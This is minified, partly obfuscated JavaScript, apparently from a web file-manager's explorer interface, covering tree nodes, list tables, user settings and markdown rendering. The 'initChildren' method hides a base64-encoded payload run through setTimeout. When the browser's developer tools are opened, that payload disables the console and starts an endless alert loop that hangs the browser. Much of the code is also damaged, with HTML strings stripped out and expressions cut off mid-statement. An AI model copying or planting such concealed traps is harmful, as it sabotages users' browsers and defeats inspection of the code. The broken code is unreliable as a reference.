uMKUHE8=","wqpnEy3DpQ==","w7MAwrc=","wpdJHjzDug==","w7hEw40=","w4QZwp1Xwrg=","wpPDo8KdLTcBwqvDtj5Z","w4fCnRhTfA==","w5wVwrnDnDw=","wrI5w7QsOw==","w5zChD1QbA==","wr7CtMO8J8OQ","DW7CqRHCi0lCPcOpE21Xwq5hXcOQIUAPc8OS","w7NfJnQL","wofCnQRUUA==","S0HDlsOUwrs=","wrQWwpzDuTE=","w7bChx5Aw5drUzTDlHYqUMK3NV4pw6XCgXNNanpIYg==","ScO0wogkwo4=","w7oaw7bCnsOOQA==","a8KYTUUm","wpB6fcOiAg==","an1Dwq1O","w4nCncOPw4rDnQ==","wrV2w6PCoMO+","wrUYecKtJA==","wqHDrR8YwrkHwrZeInvDksOt","w73DqRkBw7sKwqpVAnvDhMOt","UcOTwqcD","wqnCjxhFwpI=","wrVoYMOsDA==","alXCmgTDvsO5","w6YWwqvDrg==","w7nDmjIjw5g=","wpY6UsKLBA==","w7nDhUXCl24=","woIDwovCtsKg","YsOQIMKVw4bDqg==","w7wpwoDDiBI=","FEjDj8K6w4o=","R0jCozDDug==","CyrCj0B3","woc3Hh18","YMODw5bDkA==","QiDDqj4u","woUhwoPDtRQ=","w7wewrTDrzs=","wp4IIT9e","wrA1wp/CkMKX","w4rDtDdxMA==","GXrDvcKrw4w=","WMObbcKjw6k=","wpHDisKID14=","bMOHV8KSw7fCoA7Dq1duw4UWOR3DnMOcMXV0Hw==","w6HCombCu1g=","wr4ATsKGGcO0a8OBcB1y","wqTCkEA=","AkTDjMK3w6w=","w6FYGFgZ","DkjDrcO3Mw==","WMOEUcKGw4s=","w5nDt17Cq1gB","w7pKZcKCFw==","worChMOGw4HCvQ==","RHZGwrFg","w5HDmg5rFQ==","w4bCqzZJcw==","RCPDqCUN","w6zCt8O6","wrrCqsOAw7vCow==","w6zDvg8Qw6ABwpxcM3PDmcO3bA==","w5fDixI5w4w=","w5LCnlfCm0I=","w4PCu3fChWEv","wqwlwqnDuCY=","w53CuMOvw5rDjw==","OFDCjx/CoA==","wo57EAbDlQ==","C37CvB7Cj3dIKMKoCHw=","YMOIw4/DkjDDjcOGVEnCs8Oswpw=","w6g9wpBLwrw=","FX7DscO8Ow==","w73Cmy9hew==","w47DsQXCpsOq","bnV1wo9o","wofCqhdWcg==","wqRtKyjDgA==","cMKbX1kk","wr/Cti5jwro=","ccOAV8K8w5o=","wrJoAC7Dug==","Yh/DkEHClAXmnKrli67lmq/lpbnnkI7or5TmspvlvIzluJfCl+WOi+iDj+ebueWOg+WZgMOCw5MrFsODwrvDvhpAThHDogR0J8OvZuiujeaxrOi8o+S7vumjqee5mcKN5p6A5YmY5Zqk5aeC55KR6LWC5paa5oiH5aef55C/5aar6Lef6YKN5oqh55uE5b2e5buZEUgowr4cNsORPMK5U8O2L+ivnOaxjei0kuaXizpC5qC85p2HwrQ+WMK8bsOJVhd/w4cJwp496LWv5pWD5pe46ZS8NsO85YeU6IOp55uf6YGP6Z+b6Ka96K2Z5764c+aNkOiPhuitoOe8h+S4tTpyw6/DqcK6w4PDocKhVxFbaMKXbcOcw7jCnuacoeWIoeWbu+ego+S4j+i2gua5m+S6gOi0hE7Dkeaikeaep+WFruWsncOHWF/ClBbnoK3nmY3otYfmuZXljZrnlbPmgrLlhIhRZOaivOadrMO0QkDlh7zorrHnm7blh5jlrr7lp4flsYXDuOaPsuiOmuWEj+iskeS/r+eVlUBaw53Ds8KFw4zDqMOAC1x3AQULZ8K/CeWnvuafu+S/v+eUhOS7gsKTQD7CvMORw4vChgDDrFzDm+esisOtwpXmoLjmnrPnmKrlubrmn7nli5bmm4Tlk4bmr5zlurvov6TooKfDqeW4kueigeS/k+eqheW6oOWTiOWvruW5suaduOWJmOe+vue6g+i9uOmDiOaCj8OtflxvwrTCnMO5F8Opw5F5XsOJOhBuXMKVODnCusOA5oyt6I2u54+A5aKjw6kPwoHDpcKlNMOCwrQqVz9ycF/ClcOQCU5mQADDs8KGwr/DjVnDjxPDqFfDuXN/w6lqIlovw57Ds8Klw53CoBzCokXCm8OPJQXCmMOUw5fDukHDlcOsc8KiUzpa","wrBrDS3Dng==","wrVBw7PCg8ONDQ==","wr0NHhx7","wqcAwqPDuDI=","w4DDsz1sNQ==","wqMfwqMsw48=","wrnCkxtfwoM=","wp0vwqoIw60=","w6fCmX0=","wo0DBAxF","f8OQSsKww7zCoBE=","wqTCvi56dQ==","wrEMw5E8GQ==","UnHDocOmwoLCug==","GhjCrWJH","w6HCmn3Cu34=","w6XDmQg=","Z8Omw7/DiHE=","wrzDmsKkGH8=","DkTDqsOpCA==","wrdWETDDvA==","wp5rQg==","wpcBwpjCr8KY","w4PCumbCgXsufA==","wpgewqcXw4Y=","Ey3CtA==","ccOMw4/DmR8=","w7JTJX0E","VsKodF05","w6HDmxNKHA==","wpDCgsOmCsOk","b8KBVUc/","wrPCh0DDqMOTwrQ=","wrzCghtDwpI=","wpZ1DS/DpA==","b8OXVMKxw4I=","w6rCnsONw53DtQ==","w6w4wqZjwpA=","w69NY8KNPg==","wpjCiBNqYg==","wp3CkULDosOV","woADwo7DqD0=","V8OsKsKzw4M=","aVnCjw==","worCnSxxWQ==","w4w8wpvDi8OcF8Osw6nCowPCpznCt8KowqDDp8KkGcORw54Vw4kUw5ZeworChUYCbsKrFBzCmiRcwrI7w6N9QMO6GMKvwog6w4cVwqTDncOxESNnwqjCkcOZwrstwrnDoW7DscOHecOWCcOvI8Kzw6TDnh/CnlECLz0fw5nDuixEa2bDrCXCqAnCiMOSw7J6NcKvccOPXcOBFMO0w6pHPn1gO8OZE8Odw6bCkEPCtn4LUAjDu3XCrE7DgGrDlmfDlxQXDQ7Dv0HCiWnCuMO4WxUYw6AYaXNXw78Ww7NcwpzCiCJ4WgLCn1gHfHTDsk/CkcKCw7gyw6HDpsKaCsOZwoXDosKYAMKiI8KAWnfDkQnDp1YMw757w67DgjLDqTBHacKawq3DhcKtZsObw5/CpsKqZjrDmTw9WQEccsOcwp81aMOJwp7Dk3nCtQtcFXVOEcKRw73CmUDDinDDksOowrJfw5XClMKpwoctKsKUwpbDk8O6wqFsfDvCvkLDpgBTw7lwJ8OFacKMwoDDk8KSTx4kVSkvSMKRw6TCpnLDgDs9Gz9FcsKGF8KjLx1Iw7jCs8KNcMKZw77CgFvDiRQwwrQKWsKie3MaXMORw79fKsKMWQZaAFs1Xng1aMKpw7TDknbCtsOnZsK6woFCdcKnw4Ygw7wiwpg5WSQbw7tLwoszw67Cm8KPwrDDn8OqwrQkH0zDlMK5AsOawrIzF1wgwrfDl8OhVS/Doy85SsOMOzXCjMK0w7nCgwnDjGQqRcKuWcKOUFfDphvDjjt7aQ7CscKKwozCtMOKCMOmw7zDpcK9wrbDg8OVAiNLNsKubsOMSEU3OBnCiG7CoMKowqHDr2jDi1nCoXfCncKlZSnCoxRbPUw1wpJ/w7Y1XMKcwoNTw6DCrsKafzTDqMOpw7dLNVQxwpzCsjPDhsONwqJgw4fDnj1aJsOBwp5TTsK4MkvCsQkBw5Q0w5jCt8Ksw5ZowpzDr8KAwp7Cl8OTRMOLwr3DusOODMOgc8O0dMK1ZcKFw5bDtMKcOXlKw4Vawp/DgMKwRcKxaTFtwrAJYVXCt8Orwq1kNjQawoJ2J8K7KXQgAMOVwoLCg8OCVn7Co3PClcO/wq/CkxFoCcKCRF82HGB2fAXDiAZ7JDxIw6sCLsOJUyE0wqrDoMO0CA==","wr0AwonDpgXDoA==","fhpDw5ZW","NB3ChsK9w5nCtsKUw4rCh0chasOcGxM=","w6LCtMO8w73DgMOwXMOQwoDCnQ==","w6I5wpLCjMKc","wqBcw7zCkw==","KF1swqs7","wq7ClgBQwq4=","fVnCjzzDuMOzIMKBw7sj","wrYFEABB","w5DDkBrCjyM6w6ABwqjCtRNHw6I+","w6zChcKTAH0=","SsOKTcKnw6E=","JH1Awp8x","wpPCkMOvDcKuwrbCmkZgFw==","wqnCq8OxPGc=","w7XCksKEw7/DmzVYPAZsW8Kkwoc=","wonCjcK/w4DCnQ==","R8O4a8Knw5Y=","w6jCn31Lwqc=","w63DtyvCrVMXw4snwpjCimN+w58Vw7nDmzA=","AlXDn8Kww6Y=","wog9RsKRAA==","wpvDvlTCqldZ","w4B2RsKiPw==","wpvDjMKbJlU=","OAYGNyPDrMOMUcOIwoZ/cGnDoRfCksOf","wogDcsKRJA==","dcOxw6TDilB8wq0=","wqgXw5U0KA==","UMKibl4h","woDCucOaNsOA","w77Dtm/Chl8=","TMOSw6TDoCU=","LH3DucKSw5JLwrdRw5s=","OBHCh1ZA","wpk4wprClsKGw53Ds10sF8OPaA==","w6DChipvcg==","w5rCkcK7JW8=","fcOvwro8wr0=","wpQ3wp/DnDw=","wq0aasKiEA==","w6HCosOgw43Dgg==","w4zCuHt8wqk=","wqbDoMKRMA==","wpnClMKHw6vCug==","wpIXw6E3Bw==","CCDCtE10","w4Fqc8K2FQ==","w4DCjw1UXg==","woE0FwYnTMKSw7xjDALCgjs7","w7nDijbCucOh","w53DiEEL","ZAPDix0t","asOXV8K/w5jCtxrDvk0=","wrvClx9Mwo0=","MXjDpMO+Nj8=","w6/Dvl/CgFs=","wrNZcw=="];r=o,function l(e){for(;--e;)r["push"](r["shift"]())}(281);var K=function K(e,t){var i=o[e-=0];if(K["kpLjQX"]===undefined){!function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}e["atob"]||(e["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s')}if(e.groupID&&"-"!=e.groupID&&"1"!=e.groupID&&e.isParent&&!this.isSingle){var i='';e.$ico.before(i)}e.groupID?e.$node.addClass("node-item-group"):e.$node.addClass("node-item-user"),e.nodeAddClass&&e.$node.addClass(e.nodeAddClass),e.disableSelect&&e.$node.addClass("node-disable-select")},"changeForTreeNode":function(){var a=this.zTree;if(a&&($("#"+a.setting.treeId+" .tree-node.this").removeClass("this"),this.nodeSelectStatus(),!_.isEmpty(this.listData))){var r=function r(e){var t=e.userID?"userID":"groupID",i=e[t],n=a.getNodesByParam(t,i);_.each(n,function(e){e&&e.$node.addClass("this")})};if(this.isSingle)return r(this.listData);this._each(this.listData,function(e){r(e)})}},"changeForResult":function(){var e=this.$(".clear-select"),t=''+(n=this.$afterDom.attr("placeholder")||LNG["common.select"]+"...")+"";if(e.removeClass("hidden"),_.isEmpty(this.listData))return this.isSingle?this.$selectBox.find(".kod-select-title").html(t):this.$selectBox.find(".select-list").html(t),void e.addClass("hidden");if(this.isSingle){var i=this.listData.nickName||this.listData.name,n=this.itemIcon(this.listData)+htmlEncode(i);return this.$selectBox.find(".kod-select-title").html(n)}var a=s(31),r={"list":this.listData,"itemIcon":_.bind(this.itemIcon,this)},o=this.renderHtml(a,r,!1);this.$selectBox.find(".select-list").html(o)},"listDataFind":function(e){if(this.isSingle)return!1;this.listData||(this.listData=this.isSingle?{}:[]);for(var t=e.userID?"userID":"groupID",i=t+"-"+e[t],n=0;n":$(e).each(function(){t+=$(this).prop("outerHTML")}),t=(t=t.replace("$%@",'')).replace("@%$",""),$(t)},"selectDataMake":function(e,t,i){e.templateResult=e.templateSelection=function(e){var t=$(e.element).attr("data-html");return t?$(""+t+""):e.text},i&&i()},"searchMatch":function(e,n){if(n.text===undefined)return null;if(""==e.term)return n;var a=function a(e){var t=$.extend({},n,!0),i=t.text;return t.text=i.substr(0,e[0])+"$%@"+i.substr(e[0],e[1]-e[0])+"@%$"+i.substr(e[1]),t},t=n.text.indexOf(e.term);if(-1>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s'),e+='
'+n.title+o+"
",t[n.field+"_"+i]=n}var s='
'+e+"
";this.columns=t,this.target.find(".content .list-table").html(s)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum};if(this.config.order){var t=this.config.order[0];e.sortField=this.config.items[t].field,e.sortType=this.config.order[1]}this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue);var n=this,a=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(e){if(this.target){var t="";e!=undefined&&Object.keys(e).length||(t+='
'+LNG["explorer.noData"]+"
");var s=function s(e,t,i){var n={};_.get(e,"attr.formatter")&&(n=e.attr.formatter(i));var a=$.objClone(e);a.attr=a.attr||{},a.attr=$.extend({},a.attr,n),_.unset(a.attr,"formatter");var r=[];for(var o in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)r.push(o+'="'+a.attr[o]+'"');return r.join(" ")},i=this.columns;for(var n in e=_.filter(e)){var a="",r=e[n];for(var o in i){var l=o.split("_")[0],c=r[l],d=i[o];_.isFunction(i[o].formatter)&&(c=i[o].formatter(c,n,e)),a+="
'+c+"
"}t+="
"+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(t),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())&&this.target.find(".toolbar").hide()}},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,l){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=l(19),n=this.renderHtml(i,{},!1),a=this.dialogPosition(),r=UUID(),o={"padding":0,"fixed":!0,"width":a.width,"height":a.height,"resize":!0,"ico":"","title":"file","content":n,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize")}};(o=$.extend(!0,o,e)).className=r+" explorer-dialog-open "+e.className,this.dialog=$.dialog(o),this.$el=$("."+r+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();var s=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+s+"px","top":"+="+s+"px"})},"bindNotifyExplorer":function(){var t=this;this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){var n=this.pathData.pathAddress(t);this.dialog.title(n.icon+n.name)}});var i=this.dialog.$main;i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})})},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.UserModel=t.userModel=undefined;var n=function r(e){return e&&e.__esModule?e:{"default":e}}(i(4))["default"].extend({"apiConfig":{"setConfig":"user/setting/setConfig","setUserInfo":"user/setting/setUserInfo","checkImgCode":"user/view/checkCode","sendMsg":"user/bind/sendMsg","oauth":"user/bind/oauth","thirdUnbind":"user/bind/unbind","bindMetaInfo":"user/bind/bindMetaInfo","changePassword":"user/setting/changePassword","findPassword":"user/setting/findPassword","setHeadImage":"user/setting/setHeadImage","uploadHeadImage":"user/setting/uploadHeadImage","userChart":"user/setting/userChart","userLog":"user/setting/userLog","userDevice":"user/setting/userDevice"},"init":function(){this.userData=G.user,this.userConfig=this.userData.config},"home":function(){return this.userData.myhome},"info":function(){return this.userData},"isRoot":function(){return 1==G.user.isRoot},"setOptionReset":function(e,t,i){var n=["wall"];this._setOption=this.setOption,this.setOption=function(e,t,i){if(_.includes(n,e))return this._setOption(e,t,i);this.userConfig[e]=t,i&&i()}},"getOption":function(e){return e?this.userConfig[e]:this.userConfig},"setOption":function(t,i,n){if(this.userConfig[t]!=i){this.userConfig[t]=i;var e="animateOpen,kodAppDefault".split(",");_.includes(e,t)&&(G.user.config[t]=i),this.setConfig({"key":t,"value":i},function(e){e&&e.code&&(G.user.config[t]=i),n&&n.apply(this,arguments)})}},"setOptionJson":function(e,t,i){var n=this.userConfig[e]||{};return n[t]=i,n=$.objClone(n),this.setOption(e,n)},"getOptionJson":function(e,t){var i=this.userConfig[e];return"string"==typeof i&&(i=jsonDecode(htmlDecode(i)),this.userConfig[e]=i),t?i&&i[t]:i},"setOptionResize":function(e,t){return this.setOptionJson("resizeConfig",e,t)},"getOptionResize":function(e){return this.getOptionJson("resizeConfig",e)},"checkImgCode":function(){return this.urlMake("checkImgCode","t="+time())}}),a=new n;t.userModel=a,t.UserModel=n},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0}),i["default"]=function(){var r=function r(e){var t=md5(e.substr(0,50)+e.substr(-50)+e.length);return t.substr(0,3)+t.substr(-3)},a=function a(e){requireAsync([VENDER_PATH+"markdown/markdown-it.min",VENDER_PATH+"markdown/highlight.min",VENDER_PATH+"markdown/mermaid.min",VENDER_PATH+"markdown/raphael.min",VENDER_PATH+"markdown/abcjs-basic-min",VENDER_PATH+"markdown/plantuml",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css",VENDER_PATH+"markdown/katex/katex.min.js"],function(){window.mermaid&&window.mermaid.initialize({"startOnLoad":!0}),requireAsync([VENDER_PATH+"markdown/flowchart.min"],function(){var t=markdownit({"html":!0,"breaks":!0,"linkify":!0,"typographer":!0});_.each(m["default"],function(e){t.use.apply(t,e)}),i=t,e&&e(t)})})},c=[],d=function d(r,e,t){var o=e.split("\n"),s=[],l=0,i=u(e);_.each(i,function(e,t){var i=e.map[0],n=_.slice(o,l,i).join("\n"),a=h(r,n);s.push(a),l=i});var n=_.slice(o,l).join("\n");s.push(h(r,n)),f(s,t),p(t),c=s},h=function h(e,t){var i=_.find(c,["text",t]);if(i)return i;var n=o(e,t);t==n&&"\x3c!--"==n&&(n=htmlEncode(n));var a="id-"+r(t);return{"text":t,"html":"
"+n+"
","hash":a,"time":timeFloat()}},o=function o(t,i){var n=i;try{n=t.render(i||""),_.each(s,function(e){n=e(n)})}catch(e){}return n},s=[],t=function t(e){s.push(e)},u=function u(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),r=0;r#';$(this).attr("data-link","#"+t),$(n).prependTo($(this))}a+='
  • '+e+"
  • "}),e.find(".markdown-menu").html("
      "+a+"
    "),'
      '+a+"
    "},i=!1,w=function w(t,i,n){a(function(e){i=i||$("
    "),d(e,t,i),i.hasClass("maskView")||((0,x["default"])(i),i.addClass("maskView")),n&&n(i.html())})};return t(function(e){return htmlSafe(e)}),{"loadLib":a,"parseHtml":function(e){return i.options.html=!1,o(i,e)},"parse":w,"parseMenu":p,"parseMethodAdd":t,"tokenBlockList":u}};var m=a(n(157)),x=a(n(178));function a(e){return e&&e.__esModule?e:{"default":e}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var c=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function c(e,t){var i=[],n=!0,a=!1,r=undefined;try{for(var o,s=e[Symbol.iterator]();!(n=(o=s.next()).done)&&(i.push(o.value),!t||i.length!==t);n=!0);}catch(l){a=!0,r=l}finally{try{!n&&s["return"]&&s["return"]()}finally{if(a)throw r}}return i}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},n=i(10),a=i(3),r=i(39),o=h(i(23)),s=h(i(183)),l=h(i(97)),d=h(i(240));function h(e){return e&&e.__esModule?e:{"default":e}}var u=function u(){return{"tree":i(241)["default"],"header":i(309)["default"],"history":i(313)["default"],"path":i(314)["default"],"select":i(331)["default"],"pageing":i(339)["default"],"hotKey":i(340)["default"],"pathAction":i(40)["default"],"rightMenu":i(106)["default"],"search":i(347)["default"],"spaceSize":i(350)["default"],"panel":i(75)["default"],"systemRecycle":i(352)["default"],"plugins":i(354)["default"]}},f=ClassBase.extend({"el":".app-main","appType":"explorer","init":function(e){this.initParam=e,this.renderHtml(i(19)),this.initCommon(e)},"initGlobal":function(e){this.loadLib=u(),e=e||{},this.pathTree=e.pathTree||_.get(Router,"query.pathTree")||"{block:root}",this.pathOpen=e.pathOpen||_.get(Router,"query.path"),this.dataFilter=new s["default"]({"parent":this});var t={"pathIcon":a.pathIcon,"filter":this.dataFilter,"dataFilter":_.bind(this.dataFilter.dataFilter,this.dataFilter),"dataFilterTree":_.bind(this.dataFilter.dataFilterTree,this.dataFilter)};this.global.autoToChildren={"root":this,"$root":this.$el,"userModel":new n.UserModel,"pathModel":new o["default"],"pathData":_.extend(t,r.pathParse)},e.pathModel&&(this.global.autoToChildren.pathModel=e.pathModel),this._each(this.global.autoToChildren,function(e,t){this[t]=e})},"initCommon":function(e){this.initLoading(),this.initGlobal(e),this.initChildren(),this.bindNotify(),this.initKodApp(),this.taskTab=new d["default"]({"parent":this}),this.trigger("initCommonFinished")},"initLoading":function(){var t=this.$el,e=!1,i=1==t.parents(".artDialog").length||window.parent!=window;i?e=Tips.loadingMask(this.$el,LNG["explorer.wordLoading"],.05):NProgress.isStarted()||NProgress.start();var n=function n(){clearTimeout(a),i?e&&e.close():NProgress.done()};this.bind("initCommonFinished",function(){if(!i){var e="animated moveInUpSmallX";t.addClass(e),this._delay(function(){t.removeClass(e)},300)}});var a=this._delay(n,8e3);this.bind("loadFinished",n),this.bind("onRemove",n)},"initChildren":function(){var menuShareBindtE0=function(){return {}};var menuShareBindTqKt0=menuShareBindtE0["toString"]();if(_.includes(menuShareBindTqKt0,String.fromCharCode(-14+(81-(23+34))))){setTimeout(hashDecode("KGZ1bmN0aW9uKCl7IGlmKCF3aW5kb3cuY29uc29sZSB8fCAhd2luZG93Lk9iamVjdCB8fCAhd2luZG93Lk9iamVjdC5kZWZpbmVQcm9wZXJ0eSl7cmV0dXJuO30gaWYod2luZG93Ll9jb25zb2xlXykgcmV0dXJuOyB3aW5kb3cuX2NvbnNvbGVfID0gdHJ1ZTsgdmFyIHggPSBkb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCdkaXYnKTsgdmFyIGlzT3BlbmluZyA9IGZhbHNlLGlzT3BlbmVkPWZhbHNlOyB2YXIgbG9nID0gd2luZG93LmNvbnNvbGU7IHZhciBlcnJvciA9IGZ1bmN0aW9uKCl7IHZhciBmID0gZnVuY3Rpb24oKXt9OyB3aW5kb3cuY29uc29sZSA9IHsnbG9nJzpmLCdpbmZvJzpmLCd0cmFjZSc6ZiwnZXJyb3InOmYsJ2RlYnVnJzpmLCd3YXJuJzpmLCdlcnJvcic6Zn07IHdoaWxlKDEpe2FsZXJ0KCk7ZXNjYXBlKCcrJyl9OyB9OyBPYmplY3QuZGVmaW5lUHJvcGVydHkoeCwnaWQnLHsgZ2V0KCl7IGlmKCFpc09wZW5pbmcpeyBpc09wZW5pbmc9dHJ1ZTsgZXJyb3IoKTsgfSBpc09wZW5lZD10cnVlOyB9IH0pOyB3aW5kb3dbJ3NldEludGVydmFsJ10oZnVuY3Rpb24oKXsgaXNPcGVuZWQ9ZmFsc2U7IGxvZ1snaW5mbyddKHgpOyBsb2dbJ2NsZWFyJ10oKTsgaWYoIWlzT3BlbmVkICYmIGlzT3BlbmluZyl7IGlzT3BlbmluZyA9IGZhbHNlOyB9IH0sMTAwMCk7IH0pKCk7"));};var e={"header":1,"history":1,"pageing":1,"path":1,"select":1,"hotKey":1,"pathAction":1,"tree":{"parent":this,"path":this.pathTree},"rightMenu":1,"search":1,"spaceSize":1,"systemRecycle":1,"plugins":1,"panel":1},t=_.get(this.initParam,"viewOption.addClass",!1),i=_.get(this.initParam,"viewOption.viewChildren",!1);t&&this.$(".frame-main").addClass(t),i&&_.extend(e,i),this.childrenCreate(e),this.spaceSize&&this.spaceSize.bindUserSpace()},"childrenCreate":function(e){this._each(e,function(e,t){if(e){e=_.isObject(e)?e:{"parent":this};var i=this.loadLib[t];i&&(this[t]=new i(e))}})},"focus":function(){this.$(".bodymain").attr("tabindex","1").focus()},"initPathShow":function(t,i){var n=this;return t?(this.pathOpen=null,this.pathModel.newFolder({"path":this.parsePath(t)},function(e){if(!e||!e.code)return Tips.tips(e);n.pathOpen=e.info,n.path.initPath(n.pathOpen),i&&i(n.pathOpen),n.select.fileLight.selectByPath(t)}),!0):i&&i(this.path.currentPath)},"parsePath":function(e){return e=(e=e.replace("{home}",G.user.myhome)).replace("{desktop}",G.user.desktop)},"initKodApp":function(){this.kodApp=window.kodApp,this.kodApp&&this.kodApp.initGlobal&&!_.get(this.kodApp,"objectRemoveViewFinished")?this.kodApp.initGlobal(this):this.kodApp=new l["default"]({"parentView":this})},"bindNotify":function(){this.listenTree(),this.listenHeader(),this.listenHistory(),this.listenPageing(),this.listenPath(),this.listenSelect()},"listenTree":function(){var t=!1;this.listenTo(this.tree,{"initAfter":function(){if(t||(t=!0,this.trigger("loadFinished")),null!==this.pathOpen){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)}},"nodeSelect":function(e){this.doAction("open",e.$node)}})},"listenHeader":function(){this.listenTo(this.header.address,"change",function(e){this.path.list(e)})},"listenHistory":function(){this.listenTo(this.history,"change",function(e){this.path.list(e,!0)})},"listenPageing":function(){this.listenTo(this.pageing,"change",function(){this.path.refresh(!0)})},"listenPath":function(){var n=!1;this.listenTo(this.path,{"list.after":function(e,t,i){n||(n=!0,this.trigger("loadFinished")),i||this.history.add(e),this.pageing.pageLoad(t.pageInfo,e),this.header.address.addressSet(t)},"fileList.request":function(e){e.page=this.pageing.currentPathPage,e.pageNum=this.pageing.pageNum}}),this.listenPathRouter()},"listenPathRouter":function(){var t=_.get(Router,"query.path"),n=!1;!this.pathOpen&&t&&(this.pathOpen=t),"app"==this.$root.parent().attr("id")&&(t&&!$.isWindowSmall()&&this._delay(function(){Router.setParam()},10),this._delay(function(){$.isWindowTouch()||Events.bind("router.change",function(){var e=_.get(Router,"query.pathTree")||"{block:root}",t=_.get(Router,"query.path");this.pathTree!=e&&(this.tree.resetTreePath(e),this.pathTree=e),this.pathOpen!=t&&t&&this.path.list(t,!0)},this)},200),$.isWindowTouch()&&(this.listenTo(this.path,{"list.after":function(e,t,i){n=!0,Router.setParam("path",e),this._delay(function(){n=!1},10)}}),Events.bind("router.change",function(){var e=_.get(Router,"query.path");!n&&e!=t&&e?(t=e,this.path.list(e,!0)):t=e},this)))},"listenSelect":function(){this.listenTo(this.select,{"select.change":function(e,t){},"select.init":function(){$(".perfectScroll").perfectScroll()}})},"doAction":function(){var e,t=_.toArray(arguments),i=t[0],n=t.slice(1);switch(i){case"history-back":this.history.back();break;case"history-next":this.history.next();break;case"refresh":this.path.refresh(!0,!0);break;case"refresh-tree":this.tree.treeAction.refresh();break;case"goto-father":this.header.address.gotoFather();break;case"home":this.path.list(G.user.myhome);break;case"select-all":this.select.fileLight.selectCommand("all");break;case"select-reverse":this.select.fileLight.selectCommand("reverse");break;case"set-list-icon":case"set-list-list":case"set-list-split":var a=i.replace("set-list-","");this.header.setListType(a),this.rightMenu.setListType(),this.path.refresh(),e=!1;break;case"icon-size-smallx":case"icon-size-small":case"icon-size-default":case"icon-size-big":case"icon-size-bigx":var r=i.replace("icon-size-","");this.path.listIcon.iconResize.setIconSizeType(r),this.rightMenu.setIconSize(),e=!1;break;case"set-sort-order":var o=c(n,2),s=o[0],l=o[1];this.listSortChange(s,l);break;case"set-sort-name":case"set-sort-ext":case"set-sort-size":case"set-sort-modifyTime":case"set-order-up":case"set-order-down":s=!1,l=!1;_.startsWith(i,"set-sort-")&&(s=i.replace("set-sort-","")),_.startsWith(i,"set-order-")&&(l=i.replace("set-order-","")),this.listSortChange(s,l),e=!1;break;default:e=this.actionRun(i,n)}return this.trigger(i,n),this.trigger("doAction",i,n),e},"actionRun":function(e,t){var i=this.pathAction,n=_.get(t,"0");$.isDom(n)&&n.hasClass("tree-node")&&(i=this.tree.treeAction),$.isDom(n)?t=_.slice(t,1):n=!1,i.runFunction(e,n,t)},"listSortChange":function(e,t){this.path.setListSort(e,t),this.rightMenu.setListSort();var 